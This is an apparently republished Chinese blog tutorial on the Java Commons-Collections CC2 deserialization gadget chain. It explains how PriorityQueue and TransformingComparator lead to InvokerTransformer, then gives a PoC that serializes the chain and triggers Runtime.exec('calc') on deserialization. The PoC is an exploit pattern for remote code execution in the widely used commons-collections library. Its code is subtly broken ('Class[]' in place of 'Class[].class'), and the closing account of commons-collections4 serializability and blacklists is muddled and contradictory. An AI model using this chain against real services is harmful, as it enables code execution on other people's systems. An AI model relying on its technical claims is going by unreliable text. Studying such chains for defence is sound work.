Java反序列化-CC2分析,从零基础到精通,收藏这篇就够了!
发布日期:2025-04-02 02:55:19 浏览次数:9 分类:精选文章

本文共 3100 字,大约阅读时间需要 10 分钟。

Java反序列化-CC2分析

在CC2中,commons-collections4取代了commons-collections,新增了PriorityQueue和TransformingComparator作为反序列化的入口点和跳板。PriorityQueue通过readObject方法加载数据并调用heapify进行二叉堆调整,涉及的comparator会触发TransformingComparator的比较方法,从而连接PriorityQueue和TransformingComparator。

如何将PriorityQueue、TransformingComparator作为入口点和跳板去利用

TransformingComparator的作用

TransformingComparator的作用是修饰输入数据并调用decorated的比较方法。其代码如下:

public int compare(final I obj1, final I obj2) {    final O value1 = this.transformer.transform(obj1);    final O value2 = this.transformer.transform(obj2);    return this.decorated.compare(value1, value2);}

通过transform方法,TransformingComparator将原始对象转换后调用decorated的compare方法,触发利用链。

PriorityQueue的作用

PriorityQueue的readObject方法首先读取数据并初始化队列,之后调用heapify进行树化。heapify使用siftDown方法调整数据,若Comparator存在则调用siftDownUsingComparator,否则使用siftDownComparable。siftDownUsingComparator中使用Comparator对子节点进行比较,实现数据排序。

private void siftDownUsingComparator(int k, E x) {    int half = size >> 1;    while (k < half) {        int child = (k << 1) + 1;        Object c = queue[child];        int right = child + 1;        if (right < size && comparator.compare(c, queue[right]) > 0)            c = queue[child = right];        if (comparator.compare(x, c) <= 0)            break;        queue[k] = c;        k = child;    }    queue[k] = x;}

通过Comparator的使用,PriorityQueue与TransformingComparator结合,完成反序列化调用链。

利用PriorityQueue和TransformingComparator构造Poc

利用链概述

PriorityQueue.readObject() → TransformingComparator.compare() → ChainedTransformer.transform() → InvokerTransformer.transform()

Poc实现

public class Poc {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[]{String.class, Class[]}, new Object[]{"getRuntime", new Class[]{}}),            new InvokerTransformer("invoke", new Class[]{Object.class, Object[]}, new Object[]{null, new Object[]{}}),            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})        };        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});        PriorityQueue queue = new PriorityQueue(new TransformingComparator(chain));        queue.add(1);        queue.add(1);        Field field = chain.getClass().getDeclaredField("iTransformers");        field.setAccessible(true);        field.set(chain, transformers);        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2"));        oos.writeObject(queue);        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2"));        ois.readObject();    }}

commons-collections4的作用

在CC2中,TransformingComparator未实现Serializable,导致序列化失败。commons-collections4修复了这一问题,使TransformingComparator支持Serializable,继承了CC3中的黑名单机制。

CC4简要说明

CC4绕过了CC2中存在的黑名单问题,采用相同的反序列化机制,但应用场景和依赖类可能有所不同。其Poc与CC2类似,但具体实现可能有细微差别。

结论

在CC2中,PriorityQueue和TransformingComparator共同实现了反序列化的入口和跳板,通过读取数据、调整堆结构并调用Comparator完成利用链。而commons-collections4的引入使TransformingComparator具备了序列化能力,确保reverse engineering的流畅性。在CC4中,类似的机制继续生效,适用于不同的反序列化场景。

上一篇:Java反序列化和JNDI注入漏洞案例实战
下一篇:Java反射(超详细!)

发表评论

最新留言

路过按个爪印,很不错,赞一个!
[***.219.124.196]2025年04月23日 07时25分14秒